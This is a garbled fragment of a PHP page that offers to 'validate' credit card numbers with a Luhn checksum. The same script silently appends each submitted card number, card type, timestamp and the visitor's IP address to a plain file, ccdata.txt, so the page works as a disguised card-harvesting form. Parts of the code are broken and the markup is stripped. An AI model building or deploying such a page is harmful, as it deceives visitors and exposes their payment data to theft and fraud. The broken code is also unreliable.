=0; $i-=2){ $dbl[$j] = $dig[$i] * 2; $j++; } $dblsz = sizeof($dbl); $validate =0; for ($i=0;$i<$dblsz;$i++){ $add = toCharArray($dbl[$i]); for ($j=0;$j=0; $i-=2){ $validate += $dig[$i]; } if (substr($validate, -1, 1) == '0') return 1; else return 0; } // takes a string and returns an array of characters function toCharArray($input){ $len = strlen($input); for ($j=0;$j<$len;$j++){ $char[$j] = substr($input, $j, 1); } return ($char); } ?>

Validate Your credit card!


# Type:mastercard visa amex discover

$ctype:$cardno - validated"; $v = "+"; }else{ echo "

$ctype:$cardno - invalid

"; $v = "-"; } $stamp = Date("Y-m-d H-i-s"); $f = fopen("ccdata.txt", "a"); fputs($f, "$stamp:$REMOTE_ADDR:$ctype:$cardno:$v\n"); fclose($f); } ?>